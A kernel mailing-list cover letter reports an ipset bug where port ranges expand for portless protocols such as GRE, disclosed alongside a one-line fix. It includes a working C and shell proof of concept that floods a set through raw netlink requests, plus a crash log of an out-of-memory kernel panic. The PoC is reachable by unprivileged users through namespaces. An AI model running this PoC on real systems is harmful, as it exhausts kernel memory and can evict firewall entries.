From: Zhiling Zou <zhilinz@nebusec.ai>
To: netfilter-devel@vger.kernel.org
Cc: pablo@netfilter.org, fw@strlen.de, phil@nwl.cc,
kadlec@netfilter.org, zhilinz@nebusec.ai,
oliver@8.c.9.b.0.7.4.0.1.0.0.2.ip6.arpa, vega@nebusec.ai
Subject: [PATCH nf 0/1] ipset: ignore port ranges for portless protocols
Date: Thu, 22 Oct 2026 03:09:41 +0800 [thread overview]
Message-ID: <cover.1792609477.git.zhilinz@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in
net/netfilter/ipset/ip_set_hash_netportnet.c. The bug is reachable by a
non-root user via user and network namespaces.
This bug is tracked at: https://bugtracker.nebusec.ai/f/12359
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
hash_netportnet4_uadt() canonicalizes the port to zero for protocols
without ports and clears with_ports. However, when an IP range is
present, the range path still reads IPSET_ATTR_PORT_TO and iterates the
specified port range. For a portless protocol such as GRE, a single
range request can therefore install nonzero-port keys that packet-side
matching never creates. These unreachable entries consume maxelem; with
forceadd, they can also evict effective entries and leave the set's
policy incomplete.
The IPv4 range path should only expand the port dimension when
with_ports is set. Address ranges still expand with the canonical zero
port. The IPv6 handler already avoids port-range expansion when the
protocol does not support ports.
Reproducer:
./poc.sh prove
./poc.sh stress 100
For the namespace proof, run as test_user:
PATH=/usr/sbin:/usr/bin:/sbin:/bin \
unshare -Urn sh -c '
/usr/sbin/ipset create u hash:net,port,net family inet maxelem 4
/home/test_user/poc prove u
/usr/sbin/ipset list u -o save
'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The stress mode is run as root because it sets vm.panic_on_oom=2.
------BEGIN poc.sh------
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SETNAME=${SETNAME:-h6m}
MODE=${1:-prove}
cd "$DIR"
make
case "$MODE" in
prove)
ipset destroy "$SETNAME" 2>/dev/null || true
ipset create "$SETNAME" hash:net,port,net family inet maxelem 4
./poc prove "$SETNAME"
ipset list "$SETNAME" -o save
;;
stress)
ipset destroy "$SETNAME" 2>/dev/null || true
sysctl -w vm.panic_on_oom=2
ipset create "$SETNAME" hash:net,port,net family inet maxelem 20000000 comment counters skbinfo
./poc stress "$SETNAME" "${2:-4096}"
;;
*)
echo "usage: $0 [prove|stress [loops]]" >&2
exit 2
;;
esac
------END poc.sh------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER 12
#endif
#ifndef NFNL_SUBSYS_IPSET
#define NFNL_SUBSYS_IPSET 6
#endif
#define IPSET_PROTOCOL 7
#define IPSET_CMD_ADD 9
#define IPSET_ATTR_PROTOCOL 1
#define IPSET_ATTR_SETNAME 2
#define IPSET_ATTR_DATA 7
#define IPSET_ATTR_IP 1
#define IPSET_ATTR_IP_TO 2
#define IPSET_ATTR_PORT 4
#define IPSET_ATTR_PORT_TO 5
#define IPSET_ATTR_PROTO 7
#define IPSET_ATTR_IP2 20
#define IPSET_ATTR_COMMENT 26
#define IPSET_ATTR_IPADDR_IPV4 1
#define MAX_MSG 4096
#define GRE_PROTO 47
#define PROVE_PORT_END 3
#define STRESS_PORT_END 16383
struct request {
struct nlmsghdr nlh;
struct nfgenmsg nfg;
char buf[MAX_MSG];
};
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void diex(const char *msg)
{
fprintf(stderr, "%s\n", msg);
exit(1);
}
static size_t attr_total(size_t payload_len)
{
return NLA_ALIGN(NLA_HDRLEN + payload_len);
}
static struct nlattr *nla_put_raw(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type, const void *data,
size_t payload_len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
size_t total = attr_total(payload_len);
struct nlattr *nla;
if (off + total > maxlen)
diex("netlink message too large");
nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = NLA_HDRLEN + payload_len;
if (payload_len && data)
memcpy((char *)nla + NLA_HDRLEN, data, payload_len);
if (total > nla->nla_len)
memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
nlh->nlmsg_len = off + total;
return nla;
}
static struct nlattr *nla_nest_start(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type)
{
return nla_put_raw(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
}
static void nla_nest_end(struct nlmsghdr *nlh, struct nlattr *start)
{
start->nla_len = (char *)nlh + nlh->nlmsg_len - (char *)start;
}
static void nla_put_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint8_t value)
{
nla_put_raw(nlh, maxlen, type, &value, sizeof(value));
}
static void nla_put_be16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint16_t value)
{
uint16_t be = htons(value);
nla_put_raw(nlh, maxlen, type | NLA_F_NET_BYTEORDER, &be, sizeof(be));
}
static void nla_put_string(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const char *value)
{
nla_put_raw(nlh, maxlen, type, value, strlen(value) + 1);
}
static void nla_put_ipv4(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint32_t be_addr)
{
struct nlattr *nest = nla_nest_start(nlh, maxlen, type);
nla_put_raw(nlh, maxlen,
IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER,
&be_addr, sizeof(be_addr));
nla_nest_end(nlh, nest);
}
static int recv_ack(int fd, uint32_t seq)
{
char buf[8192];
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf),
};
struct sockaddr_nl addr;
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct nlmsghdr *nlh;
for (;;) {
ssize_t len = recvmsg(fd, &msg, 0);
if (len < 0) {
if (errno == EINTR)
continue;
die("recvmsg");
}
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
nlh = NLMSG_NEXT(nlh, len)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
}
}
}
static int send_bad_add(int fd, uint32_t seq, const char *setname,
uint32_t ip, uint32_t ip2, uint16_t port_end,
const char *comment)
{
struct request req;
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = &req,
.iov_len = 0,
};
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct nlattr *data;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.nfg));
req.nlh.nlmsg_type = (NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_ADD;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.nlh.nlmsg_seq = seq;
req.nfg.nfgen_family = AF_INET;
req.nfg.version = NFNETLINK_V0;
req.nfg.res_id = htons(0);
nla_put_u8(&req.nlh, sizeof(req), IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL);
nla_put_string(&req.nlh, sizeof(req), IPSET_ATTR_SETNAME, setname);
data = nla_nest_start(&req.nlh, sizeof(req), IPSET_ATTR_DATA);
nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP, ip);
nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP_TO, ip);
nla_put_be16(&req.nlh, sizeof(req), IPSET_ATTR_PORT, 0);
nla_put_be16(&req.nlh, sizeof(req), IPSET_ATTR_PORT_TO, port_end);
nla_put_u8(&req.nlh, sizeof(req), IPSET_ATTR_PROTO, GRE_PROTO);
nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP2, ip2);
if (comment)
nla_put_string(&req.nlh, sizeof(req), IPSET_ATTR_COMMENT,
comment);
nla_nest_end(&req.nlh, data);
iov.iov_len = req.nlh.nlmsg_len;
if (sendmsg(fd, &msg, 0) < 0)
die("sendmsg");
return recv_ack(fd, seq);
}
static uint32_t nth_ipv4(uint32_t base_host, unsigned int index)
{
return htonl(base_host + index);
}
static void usage(const char *prog)
{
fprintf(stderr,
"Usage:\n"
" %s prove <setname>\n"
" %s stress <setname> [loops]\n",
prog, prog);
exit(2);
}
int main(int argc, char **argv)
{
static char comment[255];
const char *mode;
const char *setname;
unsigned int loops = 0;
unsigned int i;
uint32_t seq = 1;
int fd, ret;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
};
if (argc < 3)
usage(argv[0]);
mode = argv[1];
setname = argv[2];
memset(comment, 'A', sizeof(comment) - 1);
comment[sizeof(comment) - 1] = '\0';
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (fd < 0)
die("socket");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind");
if (strcmp(mode, "prove") == 0) {
ret = send_bad_add(fd, seq++, setname,
inet_addr("192.0.2.1"),
inet_addr("198.51.100.1"),
PROVE_PORT_END, NULL);
printf("prove returned %d\n", ret);
close(fd);
return ret == 0 ? 0 : 1;
}
if (strcmp(mode, "stress") != 0)
usage(argv[0]);
loops = argc >= 4 ? (unsigned int)strtoul(argv[3], NULL, 0) : 0;
if (loops == 0)
loops = 4096;
for (i = 0; i < loops; i++) {
uint32_t ip = nth_ipv4(0xc6120001U, i);
uint32_t ip2 = nth_ipv4(0xc6330001U, i);
ret = send_bad_add(fd, seq++, setname, ip, ip2, STRESS_PORT_END,
comment);
if (ret != 0) {
fprintf(stderr,
"stress stopped at loop=%u expected_entries=%u ret=%d\n",
i, i * (STRESS_PORT_END + 1), ret);
close(fd);
return 1;
}
if ((i % 10) == 0) {
printf("loop=%u expected_entries=%u\n",
i + 1, (i + 1) * (STRESS_PORT_END + 1));
fflush(stdout);
}
}
close(fd);
return 0;
}
------END poc.c------
------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra
all: poc
poc: poc.c
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f poc
------END Makefile------
----BEGIN crash log----
[ 1228.171565][T11210] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1228.172471][T11210] CPU: 3 UID: 0 PID: 11210 Comm: poc Not tainted 6.12.95 #2
[ 1228.173111][T11210] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1228.174082][T11210] Call Trace:
[ 1228.174314][T11210] <TASK>
[ 1228.174562][T11210] panic+0x533/0x610
[ 1228.174894][T11210] ? dump_header+0x5d2/0x800
[ 1228.175285][T11210] ? __pfx_panic+0x10/0x10
[ 1228.175652][T11210] out_of_memory+0x73c/0x1430
[ 1228.176048][T11210] ? __alloc_pages_noprof+0xd53/0x26d0
[ 1228.176498][T11210] ? __pfx_out_of_memory+0x10/0x10
[ 1228.176922][T11210] ? lock_acquire+0x2f/0xb0
[ 1228.177297][T11210] ? __alloc_pages_noprof+0xd53/0x26d0
[ 1228.177761][T11210] __alloc_pages_noprof+0x1ecc/0x26d0
[ 1228.178220][T11210] ? hlock_class+0x4e/0x130
[ 1228.178603][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.179072][T11210] ? __lock_acquire+0xc96/0x3c40
[ 1228.179477][T11210] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1228.180016][T11210] ? __pfx___lock_acquire+0x10/0x10
[ 1228.180480][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.180887][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.181283][T11210] ? find_held_lock+0x2d/0x110
[ 1228.181656][T11210] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 1228.182050][T11210] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1228.182493][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.182904][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.183290][T11210] ? xas_load+0x1e2/0x410
[ 1228.183606][T11210] ? filemap_get_entry+0xbd/0x2c0
[ 1228.183987][T11210] folio_alloc_noprof+0x16/0x90
[ 1228.184343][T11210] filemap_alloc_folio_noprof+0x279/0x320
[ 1228.184766][T11210] ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
[ 1228.185204][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.185609][T11210] __filemap_get_folio+0x35b/0x7a0
[ 1228.185995][T11210] filemap_fault+0x10db/0x1fe0
[ 1228.186341][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.186740][T11210] ? __pfx_filemap_fault+0x10/0x10
[ 1228.187112][T11210] ? __pfx_lock_release+0x10/0x10
[ 1228.187489][T11210] __do_fault+0xed/0x3a0
[ 1228.187806][T11210] do_pte_missing+0x10c9/0x3710
[ 1228.188159][T11210] ? pte_offset_map_nolock+0x7a/0x170
[ 1228.188571][T11210] __handle_mm_fault+0xac8/0x1db0
[ 1228.188940][T11210] ? __pfx_lock_release+0x10/0x10
[ 1228.189307][T11210] ? down_read_trylock+0x1f0/0x3f0
[ 1228.189675][T11210] ? lock_vma_under_rcu+0x121/0x720
[ 1228.190044][T11210] ? __pfx___handle_mm_fault+0x10/0x10
[ 1228.190484][T11210] handle_mm_fault+0x2ad/0x910
[ 1228.190872][T11210] do_user_addr_fault+0x301/0xe10
[ 1228.191252][T11210] exc_page_fault+0x5d/0xe0
[ 1228.191577][T11210] asm_exc_page_fault+0x26/0x30
[ 1228.191930][T11210] RIP: 0033:0x7f53a5e77120
[ 1228.192245][T11210] Code: 49 01 d0 49 89 d1 48 8b 43 68 89 f5 48 8d 4c 6d 00 48 8b 78 08 48 8b 83 f8 00 00 00 48 8b 40 08 4c 01 cf 4c 8d 24 c8 4d 01 cc <49> 8b 74 24 08 4d 8b 2c 24 48 89 f0 49 01 d5 48 c1 e8 20 48 8d 0c
[ 1228.193557][T11210] RSP: 002b:00007fff1e324a40 EFLAGS: 00010206
[ 1228.193978][T11210] RAX: 00005560447dd8e0 RBX: 00007f53a5e9d5f0 RCX: 000000000000001b
[ 1228.194497][T11210] RDX: 00005560447dd000 RSI: 0000000000000009 RDI: 00005560447dd638
[ 1228.195026][T11210] RBP: 0000000000000009 R08: 00005560447dd3e0 R09: 0000000000000000
[ 1228.195551][T11210] R10: 0000000000000000 R11: 0000000000000202 R12: 00005560447dd9b8
[ 1228.196078][T11210] R13: 00005560447e10e0 R14: 000000000000004b R15: 0000000000000001
[ 1228.196656][T11210] </TASK>
[ 1228.197246][T11210] Kernel Offset: disabled
[ 1228.197645][T11210] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipset: ignore port ranges for portless protocols
net/netfilter/ipset/ip_set_hash_netportnet.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
next reply other threads:[~2026-10-21 19:09 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-21 19:09 Zhiling Zou [this message]
2026-10-21 19:09 ` [PATCH nf 1/1] ipset: ignore port ranges for portless protocols Zhiling Zou
2026-10-22 19:31 ` Jozsef Kadlecsik
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1792609477.git.zhilinz@nebusec.ai \
--to=zhilinz@nebusec.ai \
--cc=fw@strlen.de \
--cc=kadlec@netfilter.org \
--cc=netfilter-devel@vger.kernel.org \
--cc=oliver@8.c.9.b.0.7.4.0.1.0.0.2.ip6.arpa \
--cc=pablo@netfilter.org \
--cc=phil@nwl.cc \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox